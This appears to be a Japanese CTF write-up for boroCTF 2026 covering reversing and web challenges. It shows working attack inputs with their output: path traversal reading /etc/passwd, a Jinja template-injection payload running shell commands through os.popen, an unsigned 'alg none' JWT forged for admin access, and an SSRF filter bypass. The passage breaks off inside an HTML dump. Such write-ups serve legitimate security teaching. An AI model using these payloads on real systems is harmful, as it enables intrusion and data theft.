s_a1b2c3_0010202d XREF[1]: 00104020(*)
0010202d 61 31 62 ds "a1b2c3"
32 63 33 00
s_x7y8z9_00102034 XREF[1]: 00104028(*)
00102034 78 37 79 ds "x7y8z9"
38 7a 39 00
s_q1w2e3_0010203b XREF[1]: 00104030(*)
0010203b 71 31 77 ds "q1w2e3"
32 65 33 00
s_r4t5y6_00102042 XREF[1]: 00104038(*)
00102042 72 34 74 ds "r4t5y6"
35 79 36 00
s_z9y8x7_00102049 XREF[1]: 00104040(*)
00102049 7a 39 79 ds "z9y8x7"
38 78 37 00
s_p4ssw0_00102050 XREF[1]: 00104048(*)
00102050 70 34 73 ds "p4ssw0"
73 77 30 00
s_9m8n7b_00102057 XREF[1]: 00104050(*)
00102057 39 6d 38 ds "9m8n7b"
6e 37 62 00
s_v3r1fy_0010205e XREF[1]: 00104058(*)
0010205e 76 33 72 ds "v3r1fy"
31 66 79 00
s_t3st12_00102065 XREF[1]: 00104060(*)
00102065 74 33 73 ds "t3st12"
74 31 32 00
s_85u4rm_0010206c XREF[1]: 00104068(*)
0010206c 38 35 75 ds "85u4rm"
34 72 6d 00
s_lmnopq_00102073 XREF[1]: 00104070(*)
00102073 6c 6d 6e ds "lmnopq"
6f 70 71 00
s_abc123_0010207a XREF[1]: 00104078(*)
0010207a 61 62 63 ds "abc123"
31 32 33 00
s_qwerty_00102081 XREF[1]: 00104080(*)
00102081 71 77 65 ds "qwerty"
72 74 79 00
s_zxcvbn_00102088 XREF[1]: 00104088(*)
00102088 7a 78 63 ds "zxcvbn"
76 62 6e 00
s_nm7k3l_0010208f XREF[1]: 00104090(*)
0010208f 6e 6d 37 ds "nm7k3l"
6b 33 6c 00
s_g5h6j7_00102096 XREF[1]: 00104098(*)
00102096 67 35 68 ds "g5h6j7"
36 6a 37 00
s_s4m2pl_0010209d XREF[1]: 001040a0(*)
0010209d 73 34 6d ds "s4m2pl"
32 70 6c 00
s_r2nd0m_001020a4 XREF[1]: 001040a8(*)
001020a4 72 32 6e ds "r2nd0m"
64 30 6d 00
s_b7g6h5_001020ab XREF[1]: 001040b0(*)
001020ab 62 37 67 ds "b7g6h5"
36 68 35 00
s_k1l2m3_001020b2 XREF[1]: 001040b8(*)
001020b2 6b 31 6c ds "k1l2m3"
32 6d 33 00
s_7h8g6f_001020b9 XREF[1]: 001040c0(*)
001020b9 37 68 38 ds "7h8g6f"
67 36 66 00
s_j3k4l5_001020c0 XREF[1]: 001040c8(*)
001020c0 6a 33 6b ds "j3k4l5"
34 6c 35 00
s_h4x0r1_001020c7 XREF[1]: 001040d0(*)
001020c7 68 34 78 ds "h4x0r1"
30 72 31 00
s_w1n2g3_001020ce XREF[1]: 001040d8(*)
001020ce 77 31 6e ds "w1n2g3"
32 67 33 00
s_y6t5r4_001020d5 XREF[1]: 001040e0(*)
001020d5 79 36 74 ds "y6t5r4"
35 72 34 00
s_u7i8o9_001020dc XREF[1]: 001040e8(*)
001020dc 75 37 69 ds "u7i8o9"
38 6f 39 00
s_o9p8l7_001020e3 XREF[1]: 001040f0(*)
001020e3 6f 39 70 ds "o9p8l7"
38 6c 37 00
s_e3r4t5_001020ea XREF[1]: 001040f8(*)
001020ea 65 33 72 ds "e3r4t5"
34 74 35 00
s_n0p9q8_001020f1 XREF[1]: 00104100(*)
001020f1 6e 30 70 ds "n0p9q8"
39 71 38 00
s_ymweyc_001020f8 XREF[1]: 00104108(*)
001020f8 79 6d 77 ds "ymweyc"
65 79 63 00
s_m5n6b7_001020ff XREF[1]: 00104110(*)
001020ff 6d 35 6e ds "m5n6b7"
36 62 37 00
s_f2g3h4_00102106 XREF[1]: 00104118(*)
00102106 66 32 67 ds "f2g3h4"
33 68 34 00
s_d8c7b6_0010210d XREF[1]: 00104120(*)
0010210d 64 38 63 ds "d8c7b6"
37 62 36 00
s_s1a2m3_00102114 XREF[1]: 00104128(*)
00102114 73 31 61 ds "s1a2m3"
32 6d 33 00
s_t0r9q8_0010211b XREF[1]: 00104130(*)
0010211b 74 30 72 ds "t0r9q8"
39 71 38 00
s_p9o8i7_00102122 XREF[1]: 00104138(*)
00102122 70 39 6f ds "p9o8i7"
38 69 37 00
s_z1x2c3_00102129 XREF[1]: 00104140(*)
00102129 7a 31 78 ds "z1x2c3"
32 63 33 00
s_v0b9n8_00102130 XREF[1]: 00104148(*)
00102130 76 30 62 ds "v0b9n8"
39 6e 38 00
s_l3k2j1_00102137 XREF[1]: 00104150(*)
00102137 6c 33 6b ds "l3k2j1"
32 6a 31 00
s_i7u6y5_0010213e XREF[1]: 00104158(*)
0010213e 69 37 75 ds "i7u6y5"
36 79 35 00
s_o5p4i3_00102145 XREF[1]: 00104160(*)
00102145 6f 35 70 ds "o5p4i3"
34 69 33 00
s_h6g5f4_0010214c XREF[1]: 00104168(*)
0010214c 68 36 67 ds "h6g5f4"
35 66 34 00
s_e1w2q3_00102153 XREF[1]: 00104170(*)
00102153 65 31 77 ds "e1w2q3"
32 71 33 00
s_r8t7y6_0010215a XREF[1]: 00104178(*)
0010215a 72 38 74 ds "r8t7y6"
37 79 36 00
s_s9d8f7_00102161 XREF[1]: 00104180(*)
00102161 73 39 64 ds "s9d8f7"
38 66 37 00
s_g4h3j2_00102168 XREF[1]: 00104188(*)
00102168 67 34 68 ds "g4h3j2"
33 6a 32 00
s_p0u9l8_0010216f XREF[1]: 00104190(*)
0010216f 70 30 75 ds "p0u9l8"
39 6c 38 00
s_b2n3m4_00102176 XREF[1]: 00104198(*)
00102176 62 32 6e ds "b2n3m4"
33 6d 34 00
s_golden_0010217d XREF[1]: 001041a0(*)
0010217d 67 6f 6c ds "golden"
64 65 6e 00
s_silver_00102184 XREF[1]: 001041a8(*)
00102184 73 69 6c ds "silver"
76 65 72 00
FUN_00101309内のlocal_14は14で割って1余り、3で割って2余る最小の数になる。つまり local14 = 29 となる。
以下のこともわかる。
DAT_00102029[29] = "ymweyc"
DAT_00102010と"ymweyc"をXORし、DAT_00102029と"ymweyc"をXORする。
>>> key = b"ymweyc"
>>> s = [0x11, 0x19, 0x03, 0x15, 0x0a, 0x59, 0x56, 0x42, 0x11, 0x0c, 0x15, 0x06, 0x0a, 0x43, 0x14, 0x04, 0x0d, 0x01, 0x16, 0x15, 0x59, 0x08, 0x16, 0x06, 0x56]
>>> ''.join([chr(s[i] ^ key[i % len(key)]) for i in range(len(s))])
'https://files.catbox.moe/'
>>> s = [0x57, 0x19, 0x0f, 0x11]
>>> ''.join([chr(s[i] ^ key[i % len(key)]) for i in range(len(s))])
'.txt'
以上を元にcurlでアクセスしてみる。
$ curl -s https://files.catbox.moe/ymweyc.txt
The cat wispers the flag to you ...
Segmentation fault (core dumped)
-----------------
SUPER SECRET AREA
-----------------
Yeah, I hardcoded the segfault.
Here's your real flag: boroCTF{lEts_gO_B3y0nd_b1nar1e$}
boroCTF{lEts_gO_B3y0nd_b1nar1e$}
Perfectly Destructive File (Rev 200)
$ file financial_report
financial_report: PDF document, version 1.5
$ mv financial_report financial_report.pdf
PDF Stream Dumperで見ると、以下のスクリプト部分が含まれていることがわかる。
2 0 3 44 4 68 5 531 6 668 7 971 8 1017
<< /Count 1 /Kids [ 8 0 R ] /Type /Pages >>
<< /Producer (pypdf) >>
<< /JS (\n var a = 7;\n var b = 13;\n var c = a * b;\n var d = c - a;\n var e = [a, b, c, d];\n var f = "noise";\n var g = "more_noise";\n var h = e.join\("-"\);\n var i = h.length;\n var j = i ^ 42;\n var k = [f, g, h, j];\n var l = k.slice\(0, 3\).join\("|"\);\n\n var encoded = "Ym9yb0NURnswbjFfRiFsZV9JNV9AMTFfaXRfdEFrZSR9";\n var decoded = util.printd\("yyyy", new Date\(\)\);\n ) /S /JavaScript /Type /Action >>
<< /AcroForm 7 0 R /Names << /JavaScript << /Names [ (bff75b6b-cce0-4686-9186-f02cc0fa0b36) 4 0 R ] >> >> /Pages 2 0 R /Type /Catalog >>
<< /AA << /U << /JS (app.alert\({cMsg:"Ya, I'm not making it that easy.", nIcon:3, cTitle:"boroCTF 2026"}\);) /S /JavaScript >> >> /BS << /S /S /W 1 >> /F 4 /FT /Btn /Ff 65536 /MK << /CA (Click me for free flag!) >> /P 8 0 R /Rect [ 140 320 360 360 ] /Subtype /Widget /T (hacked_button) /Type /Annot >>
<< /Fields [ 6 0 R ] /NeedAppearances true >>
<< /Annots [ 6 0 R ] /MediaBox [ 0.0 0.0 500 500 ] /Parent 2 0 R /Resources << >> /Type /Page >>JavaScript部分を整形する。
var a = 7;
var b = 13;
var c = a * b;
var d = c - a;
var e = [a, b, c, d];
var f = "noise";
var g = "more_noise";
var h = e.join\("-"\);
var i = h.length;
var j = i ^ 42;
var k = [f, g, h, j];
var l = k.slice\(0, 3\).join\("|"\);
var encoded = "Ym9yb0NURnswbjFfRiFsZV9JNV9AMTFfaXRfdEFrZSR9";
var decoded = util.printd\("yyyy", new Date\(\)\);
encodedにbase64文字列が設定されているので、デコードする。
$ echo Ym9yb0NURnswbjFfRiFsZV9JNV9AMTFfaXRfdEFrZSR9 | base64 -d
boroCTF{0n1_F!le_I5_@11_it_tAke$}
boroCTF{0n1_F!le_I5_@11_it_tAke$}
Beyond the Homepage (Web 100)
HTMLソースを見ると、コメントにフラグが書いてあった。
boroCTF{d3v3l0peR_t001s}
Cracking the Vault (Web 100)
HTMLソースを見るとスクリプトにこう書かれている。
<script>
const correctPassword = "passworduwu";
document.getElementById("vaultForm").addEventListener("submit", function(e) {
e.preventDefault();
const input = document.getElementById("passwordInput").value;
const messageEl = document.getElementById("message");
if (input === correctPassword) {
messageEl.textContent = "✓ Correct! Flag: boroCTF{th3_p@th_l3ss_tr@vers3d}";
messageEl.className = "success";
} else {
messageEl.textContent = "✗ Wrong password.";
messageEl.className = "error";
}
});
</script>
フラグが含まれていた。
boroCTF{th3_p@th_l3ss_tr@vers3d}
dotdotslashflagtxt (Web 100)
https://0gil6sh8nlk1.boroctf.com/view?file=readme.txtとかでファイルが読める。
$ curl https://0gil6sh8nlk1.boroctf.com/view?file=../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
appuser:x:1000:1000::/home/appuser:/bin/bash
パストラバーサルが使える。
$ curl https://0gil6sh8nlk1.boroctf.com/view?file=../flag.txt
boroCTF{p@th_Tr@v3rs@L_r0Ck5!}
boroCTF{p@th_Tr@v3rs@L_r0Ck5!}
Drone Dash (Web 100)
ページにある「INITIATE FLIGHT」をクリックしたら、以下のように表示された。
MISSION ACCOMPLISHED!
boroCTF{pr0totyp3_p0llut10n_dr0ne_d4sh}
boroCTF{pr0totyp3_p0llut10n_dr0ne_d4sh}
NERV (Web 200)
問題文に記載の ikari : eva01 でログインする。
HTMLソースを見ると、以下のコメントが書いてあった。
https://xqpmkotuq78s.boroctf.com/admin/reportsにアクセスする。
以下を入力し、「EXECUTE QUERY」ボタンを押す。
{{7*7}}この結果49と表示されたので、SSTIができる。
以下を入力してみる。
{{request.application.__globals__.__builtins__.__import__('os').popen('ls -la').read()}}この結果以下のように表示された。
total 36
drwxr-xr-x 1 appuser appuser 4096 Jun 13 23:42 .
drwxr-xr-x 1 root root 4096 Jun 11 02:00 ..
-rw-rw-r-- 1 appuser appuser 373 Jun 2 16:16 Dockerfile
-rw-rw-r-- 1 appuser appuser 3688 Jun 2 16:16 README.md
-rw-rw-r-- 1 appuser appuser 3991 Jun 2 16:16 app.py
-rw-rw-r-- 1 appuser appuser 807 Jun 2 16:16 challenge.md
-rw-rw-r-- 1 appuser appuser 161 Jun 2 16:16 docker-compose.yml
-rw-rw-r-- 1 appuser appuser 13 Jun 2 16:16 requirements.txt
drwxrwxr-x 1 appuser appuser 4096 Jun 2 16:16 templates
以下を入力してみる。
{{request.application.__globals__.__builtins__.__import__('os').popen('ls ..').read()}}この結果以下のように表示された。
app bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
以下を入力してみる。
{{request.application.__globals__.__builtins__.__import__('os').popen('cat ../flag.txt').read()}}この結果フラグが表示された。
boroCTF{c0ngr@tulat!0nS*}
Jay. W. Tee (Web 200)
hoge / fuga でログインしたら、クッキーのtokenに以下が設定されていた。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhvZ2UiLCJyb2xlIjoiZ3Vlc3QifQ.PKG53GkstYjMGaENlJP7-Es2qvpy-z4dYeRj6srnGFI
$ echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 | base64 -d
{"alg":"HS256","typ":"JWT"}
$ echo eyJ1c2VybmFtZSI6ImhvZ2UiLCJyb2xlIjoiZ3Vlc3QifQ | base64 -d
{"username":"hoge","role":"guest"}
"alg"を"none"にし、"role"に改ざんし、署名なしで動くか試す。
$ echo -n '{"alg":"none","typ":"JWT"}' | base64
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=
$ echo -n '{"username":"hoge","role":"admin"}' | base64
eyJ1c2VybmFtZSI6ImhvZ2UiLCJyb2xlIjoiYWRtaW4ifQ==
クッキーのtokenに以下を設定し、リロードする。
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImhvZ2UiLCJyb2xlIjoiYWRtaW4ifQ.
画面上roleがadminに切り替わったので、/adminをクリックすると、フラグが表示された。
boroCTF{n0_s1gn4tur3_n0_pr0bl3m^^}
boro-senpai 2 (Web 200)
リンクされているscript.jsはこう書いてある。
async function runPulse() {
const url = urlInput.value.trim();
if (!url) {
setOutput('ERROR: No target URL specified.', 'output-error');
return;
}
fireBtn.disabled = true;
setOutput('// INITIATING PULSE PROBE...\n// ROUTING THROUGH PROXY NODE...', 'output-warn');
addLog(`Probe dispatched → ${url}`);
try {
const res = await fetch('/api/pulse', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ url }),
});
const data = await res.json();
if (!res.ok) {
const msg = data.error || `HTTP ${res.status}`;
setOutput(`[!] ${msg}`, 'output-error');
addLog(`Probe blocked: ${msg}`, 'error');
} else {
const banner = `STATUS ${data.status} :: RESPONSE RECEIVED\n${'─'.repeat(52)}\n`;
setOutput(banner + (data.body || '(empty response)'), 'output-ok');
addLog(`Probe success — HTTP ${data.status}`, 'ok');
}
} catch (err) {
setOutput(`[!] Network error: ${err.message}`, 'output-error');
addLog(`Client error: ${err.message}`, 'error');
} finally {
fireBtn.disabled = false;
}
}
/api/pulseにより、内部ホストへのアクセスを試す。
$ curl https://4imc7nitr7ln.boroctf.com/api/pulse -H "Content-Type: application/json" -d '{"url": "http://localhost/flag"}'
{"error":"INTRUSION DETECTED: Target flagged as restricted subnet. Internal network access denied by perimeter firewall."}
$ curl https://4imc7nitr7ln.boroctf.com/api/pulse -H "Content-Type: application/json" -d '{"url": "http://127.0.0.1/flag"}'
{"error":"INTRUSION DETECTED: Target flagged as restricted subnet. Internal network access denied by perimeter firewall."}
他にもよくある内部ホストの表し方では失敗する。
さらに調べると、以下の表し方があったので、試してみる。
internal-api.
$ curl https://4imc7nitr7ln.boroctf.com/api/pulse -H "Content-Type: application/json" -d '{"url": "http://internal-api./flag"}'
{"body":"{\"classification\":\"TOP SECRET\",\"flag\":\"boroCTF{w1sh_w3_c0uld_g0_2_th3_m00n_t0g3th3r}\",\"message\":\"MAINFRAME BREACH CONFIRMED \\u2014 CLASSIFIED DATA EXFILTRATED\"}\n","status":200}
boroCTF{w1sh_w3_c0uld_g0_2_th3_m00n_t0g3th3r}
boro-senpai 3 (Web 200)
投稿者を調べると「青春ブタ野郎」シリーズのキャラクターになっている。
問題文には以下のように書かれている。
------------ was an actress. A public figure. Then one day, she wasn't. Her AobaNet account — gone. Her name — scrubbed.
桜島麻衣の設定に近い。
https://5l24ruh9miuo.boroctf.com/static/main.jsを見ると、以下の部分がある。
function fetchDeletedProfile(username, cb) {
var url = API_BASE + encodeURIComponent(username) + '?' + window._modFlags.k + '=' + window._modFlags.v;
fetch(url, { credentials: 'same-origin' })
.then(function (res) { return res.json(); })
.then(function (data) { if (cb) cb(null, data); })
.catch(function (err) { if (cb) cb(err, null); });
}
デベロッパーツールのConsoleで、まず既存のユーザでアクセスする。
> fetch('/profile/tomoe-koga').then(r=>r.text()).then(t=>console.log(t.match(/_modFlags|mod-deleted-panel|api\/user/g), t))
< Promise
null '<!DOCTYPE html>\n<html lang="ja">\n<head>\n<meta charset="UTF-8">\n<meta name="viewport" content="width=device-width, initial-scale=1.0">\n<title>古賀朋絵 / Tomoe Koga — AobaNet アオバネット</title>\n<style>\n* { margin: 0; padding: 0; box-sizing: border-box; }\n\nbody {\n background: #d8e8f0;\n font-family: "Hiragino Kaku Gothic Pro", "Meiryo", "MS PGothic", Arial, sans-serif;\n font-size: 12px;\n color: #222;\n min-width: 800px;\n}\n\na { color: #1a5c8a; text-decoration: none; }\na:hover { text-decoration: underline; color: #0e3d60; }\n\n/* ── HEADER ── */\n#an-header {\n background: linear-gradient(to bottom, #1e6e9f, #155480);\n border-bottom: 2px solid #0d3a58;\n}\n#an-header-top {\n display: flex;\n align-items: center;\n padding: 7px 14px;\n gap: 12px;\n}\n#an-logo {\n font-size: 20px;\n font-weight: bold;\n color: #fff;\n letter-spacing: 1px;\n flex-shrink: 0;\n}\n#an-logo span {\n font-size: 11px;\n font-weight: normal;\n color: #a8d4ee;\n margin-left: 6px;\n}\n#an-search-form {\n display: flex;\n gap: 4px;\n flex: 1;\n max-width: 340px;\n}\n#an-search-input {\n flex: 1;\n padding: 4px 8px;\n border: 1px solid #7ab3d0;\n border-radius: 2px;\n font-size: 12px;\n background: #f0f8ff;\n}\n#an-search-form button {\n padding: 4px 10px;\n background: #2a8fc4;\n color: #fff;\n border: 1px solid #1a6a9a;\n border-radius: 2px;\n font-size: 11px;\n cursor: pointer;\n}\n#an-header-user {\n margin-left: auto;\n color: #c8e8f8;\n font-size: 11px;\n white-space: nowrap;\n}\n#an-header-user a { color: #fff; }\n#an-header-user strong { color: #fff; }\n#an-nav {\n background: #155480;\n border-top: 1px solid #1e6e9f;\n padding: 0 14px;\n display: flex;\n}\n#an-nav a {\n display: inline-block;\n padding: 6px 13px;\n color: #a8d4ee;\n font-size: 12px;\n font-weight: bold;\n border-right: 1px solid #1e6e9f;\n}\n#an-nav a:first-child { border-left: 1px solid #1e6e9f; }\n#an-nav a:hover { background: #0d3a58; color: #fff; text-decoration: none; }\n\n/* ── BODY ── */\n#an-body {\n max-width: 880px;\n margin: 10px auto;\n padding: 0 6px;\n display: flex;\n gap: 10px;\n align-items: flex-start;\n}\n\n/* ── PROFILE SIDEBAR ── */\n#profile-sidebar {\n width: 220px;\n flex-shrink: 0;\n}\n.an-card {\n background: #fff;\n border: 1px solid #b0cce0;\n margin-bottom: 8px;\n}\n.an-card-title {\n background: linear-gradient(to bottom, #2a8fc4, #1a6a9a);\n color: #fff;\n font-size: 11px;\n font-weight: bold;\n padding: 4px 8px;\n}\n.an-card-body { padding: 8px; }\n\n.profile-avatar-wrap { text-align: center; padding: 12px 8px 8px; }\n.profile-avatar {\n width: 80px;\n height: 80px;\n border-radius: 6px;\n font-size: 36px;\n font-weight: bold;\n color: #fff;\n display: flex;\n align-items: center;\n justify-content: center;\n margin: 0 auto 8px;\n border: 3px solid rgba(0,0,0,0.12);\n}\n.profile-display-name {\n font-size: 14px;\n font-weight: bold;\n color: #1a3a5a;\n margin-bottom: 2px;\n}\n.profile-username {\n font-size: 11px;\n color: #888;\n margin-bottom: 6px;\n}\n.profile-follow-btn-wrap { margin-bottom: 8px; }\n.an-follow-btn {\n width: 100%;\n padding: 5px;\n background: linear-gradient(to bottom, #3aa0d8, #1e7ab8);\n color: #fff;\n border: 1px solid #1a6090;\n border-radius: 3px;\n font-size: 12px;\n font-weight: bold;\n cursor: pointer;\n}\n.an-follow-btn:hover { background: linear-gradient(to bottom, #4ab0e8, #2a8ac8); }\n\n.profile-stats {\n display: flex;\n justify-content: space-around;\n border-top: 1px solid #e8e8e8;\n padding-top: 8px;\n margin-top: 4px;\n}\n.profile-stat { text-align: center; }\n.profile-stat .num { font-size: 16px; font-weight: bold; color: #1a5c8a; }\n.profile-stat .lbl { font-size: 9px; color: #888; }\n\n.profile-meta-row {\n font-size: 11px;\n padding: 3px 0;\n border-bottom: 1px dotted #e8e8e8;\n color: #555;\n display: flex;\n gap: 5px;\n}\n.profile-meta-row:last-child { border-bottom: none; }\n.profile-meta-label { color: #999; min-width: 50px; }\n\n/* ── MAIN CONTENT ── */\n#profile-main { flex: 1; min-width: 0; }\n\n.an-section-header {\n background: linear-gradient(to bottom, #e8f4fb, #d4eaf8);\n border: 1px solid #a8c8e0;\n padding: 5px 10px;\n font-size: 12px;\n font-weight: bold;\n color: #1a5c8a;\n}\n\n.an-post-list { display: flex; flex-direction: column; gap: 1px; margin-top: 1px; }\n\n.an-post-item {\n background: #fff;\n border: 1px solid #b8d4e8;\n border-top: none;\n padding: 8px 12px;\n line-height: 1.6;\n}\n.an-post-item:first-child { border-top: 1px solid #b8d4e8; }\n.an-post-item-date {\n font-size: 10px;\n color: #aaa;\n margin-bottom: 3px;\n}\n.an-post-item-text { font-size: 12px; color: #333; }\n\n.an-bio-box {\n background: #fff;\n border: 1px solid #b0cce0;\n border-top: none;\n padding: 10px 12px;\n font-size: 12px;\n color: #444;\n line-height: 1.7;\n margin-bottom: 8px;\n}\n.an-bio-jp { color: #333; }\n.an-bio-en { color: #777; font-size: 11px; margin-top: 4px; }\n\n/* ── FOOTER ── */\n#an-footer {\n background: #155480;\n color: #7ab8d8;\n text-align: center;\n padding: 8px;\n font-size: 10px;\n margin-top: 14px;\n border-top: 2px solid #0d3a58;\n}\n#an-footer a { color: #a8d4ee; }\n</style>\n</head>\n<body>\n\n<div id="an-header">\n <div id="an-header-top">\n <a href="/" id="an-logo">AobaNet <span>アオバネット</span></a>\n <form id="an-search-form" autocomplete="off">\n <input id="an-search-input" type="text" placeholder="ユーザー名で検索 / Search by username">\n <button type="submit">検索</button>\n </form>\n <div id="an-header-user">\n ようこそ、<strong>tomoe-koga</strong> さん \n [<a href="/profile/tomoe-koga">マイページ</a>] \n [<a href="#">ログアウト</a>]\n </div>\n </div>\n <div id="an-nav">\n <a href="/">ホーム</a>\n <a href="#">友達</a>\n <a href="#">グループ</a>\n <a href="#">メッセージ</a>\n <a href="#">フォト</a>\n <a href="#">設定</a>\n </div>\n</div>\n\n<div id="an-body">\n\n \x3C!-- Profile Sidebar -->\n <div id="profile-sidebar">\n <div class="an-card">\n <div class="profile-avatar-wrap">\n <div class="profile-avatar" style="background:#e07b39;">古</div>\n <div class="profile-display-name">古賀朋絵</div>\n <div class="profile-username">@tomoe-koga</div>\n <div class="profile-follow-btn-wrap">\n <button class="an-follow-btn">フォロー</button>\n </div>\n <div class="profile-stats">\n <div class="profile-stat">\n <div class="num">1,842</div>\n <div class="lbl">フォロワー</div>\n </div>\n <div class="profile-stat">\n <div class="num">309</div>\n <div class="lbl">フォロー</div>\n </div>\n <div class="profile-stat">\n <div class="num">2,041</div>\n <div class="lbl">投稿</div>\n </div>\n </div>\n </div>\n </div>\n\n <div class="an-card">\n <div class="an-card-title">プロフィール情報</div>\n <div class="an-card-body">\n <div class="profile-meta-row">\n <span class="profile-meta-label">場所</span>\n <span>Fujisawa, Kanagawa</span>\n </div>\n <div class="profile-meta-row">\n <span class="profile-meta-label">登録日</span>\n <span>2012/04/07</span>\n </div>\n </div>\n </div>\n </div>\x3C!-- /profile-sidebar -->\n\n \x3C!-- Main content -->\n <div id="profile-main">\n\n <div class="an-section-header">自己紹介 / About</div>\n <div class="an-bio-box">\n <div class="an-bio-jp">高校2年。バイトと勉強とバイトと勉強。たまに猫っぽいって言われる。猫じゃないし。</div>\n <div class="an-bio-en">2nd year high school. Work, study, repeat. People say I give off cat vibes. I don't.</div>\n </div>\n\n <div class="an-section-header">最近の投稿 / Recent Posts</div>\n <div class="an-post-list">\n \n <div class="an-post-item">\n <div class="an-post-item-date">2013/09/14 18:33</div>\n <div class="an-post-item-text">今日のバイト終わり。疲れた〜。でもシフト増やされた。なんで。</div>\n </div>\n \n <div class="an-post-item">\n <div class="an-post-item-date">2013/09/13 22:11</div>\n <div class="an-post-item-text">バイト終わったあと本屋に寄った。参考書買いすぎた。</div>\n </div>\n \n <div class="an-post-item">\n <div class="an-post-item-date">2013/09/12 15:48</div>\n <div class="an-post-item-text">文化祭の準備たいへん。衣装どうしよう。</div>\n </div>\n \n <div class="an-post-item">\n <div class="an-post-item-date">2013/09/10 09:20</div>\n <div class="an-post-item-text">近所の猫が毎朝同じ時間に待ってる。なんか親近感わく。</div>\n </div>\n \n </div>\n\n </div>\x3C!-- /profile-main -->\n\n</div>\x3C!-- /an-body -->\n\n<div id="an-footer">\n © 2009–2013 AobaNet Inc. All rights reserved. | \n <a href="#">利用規約</a> | \n <a href="#">プライバシーポリシー</a> | \n <a href="#">ヘルプ</a>\n</div>\n\n\x3Cscript src="/static/main.js">\x3C/script>\n</body>\n</html>'次にmai-sakurajimaで試す。
> fetch('/profile/mai-sakurajima')
.then(r => r.text())
.then(t => console.log(t.match(/_modFlags|mod-deleted-panel|api\/user|deleted|record|flag/gi), t))
< Promise {<pending>}
GET https://5l24ruh9miuo.boroctf.com/profile/mai-sakurajima 404 (Not Found)
['_modFlags'] `<!DOCTYPE html>\n<html lang="ja">\n<head>\n<meta charset="UTF-8">\n<meta name="viewport" content="width=device-width, initial-scale=1.0">\n<title>アカウントが見つかりません — AobaNet アオバネット</title>\n<style>\n* { margin: 0; padding: 0; box-sizing: border-box; }\n\nbody {\n background: #d8e8f0;\n font-family: "Hiragino Kaku Gothic Pro", "Meiryo", "MS PGothic", Arial, sans-serif;\n font-size: 12px;\n color: #222;\n}\n\na { color: #1a5c8a; text-decoration: none; }\na:hover { text-decoration: underline; }\n\n#an-header {\n background: linear-gradient(to bottom, #1e6e9f, #155480);\n border-bottom: 2px solid #0d3a58;\n}\n#an-header-top {\n display: flex;\n align-items: center;\n padding: 7px 14px;\n gap: 12px;\n}\n#an-logo {\n font-size: 20px;\n font-weight: bold;\n color: #fff;\n letter-spacing: 1px;\n}\n#an-logo span {\n font-size: 11px;\n font-weight: normal;\n color: #a8d4ee;\n margin-left: 6px;\n}\n#an-nav {\n background: #155480;\n border-top: 1px solid #1e6e9f;\n padding: 0 14px;\n display: flex;\n}\n#an-nav a {\n display: inline-block;\n padding: 6px 13px;\n color: #a8d4ee;\n font-size: 12px;\n font-weight: bold;\n border-right: 1px solid #1e6e9f;\n}\n#an-nav a:first-child { border-left: 1px solid #1e6e9f; }\n#an-nav a:hover { background: #0d3a58; color: #fff; text-decoration: none; }\n\n#an-body {\n max-width: 620px;\n margin: 40px auto;\n padding: 0 10px;\n}\n\n.an-error-box {\n background: #fff;\n border: 1px solid #b0cce0;\n border-top: 3px solid #c04040;\n}\n.an-error-header {\n background: linear-gradient(to bottom, #f8f0f0, #f0e4e4);\n border-bottom: 1px solid #e0c0c0;\n padding: 10px 14px;\n display: flex;\n align-items: center;\n gap: 10px;\n}\n.an-error-icon {\n width: 40px;\n height: 40px;\n background: #c04040;\n border-radius: 4px;\n color: #fff;\n font-size: 20px;\n font-weight: bold;\n display: flex;\n align-items: center;\n justify-content: center;\n flex-shrink: 0;\n}\n.an-error-title {\n font-size: 15px;\n font-weight: bold;\n color: #8a2020;\n}\n.an-error-subtitle {\n font-size: 11px;\n color: #aa6060;\n margin-top: 2px;\n}\n\n.an-error-body {\n padding: 16px 14px;\n line-height: 1.8;\n}\n.an-error-body p {\n margin-bottom: 10px;\n font-size: 12px;\n color: #444;\n}\n.an-error-body p:last-child { margin-bottom: 0; }\n\n.an-error-code-block {\n background: #f4f8fc;\n border: 1px solid #c8dcea;\n border-left: 3px solid #2a8fc4;\n padding: 8px 12px;\n font-family: "Courier New", Courier, monospace;\n font-size: 11px;\n color: #334;\n margin: 10px 0;\n line-height: 1.6;\n}\n\n.an-error-footer {\n background: #f8f8f8;\n border-top: 1px solid #e8e8e8;\n padding: 8px 14px;\n font-size: 11px;\n color: #888;\n display: flex;\n justify-content: space-between;\n align-items: center;\n}\n.an-error-footer a { color: #1a5c8a; }\n\n#an-footer {\n background: #155480;\n color: #7ab8d8;\n text-align: center;\n padding: 8px;\n font-size: 10px;\n margin-top: 20px;\n border-top: 2px solid #0d3a58;\n}\n#an-footer a { color: #a8d4ee; }\n</style>\n</head>\n<body>\n\n<div id="an-header">\n <div id="an-header-top">\n <a href="/" id="an-logo">AobaNet <span>アオバネット</span></a>\n </div>\n <div id="an-nav">\n <a href="/">ホーム</a>\n <a href="#">友達</a>\n <a href="#">グループ</a>\n <a href="#">メッセージ</a>\n <a href="#">フォト</a>\n <a href="#">設定</a>\n 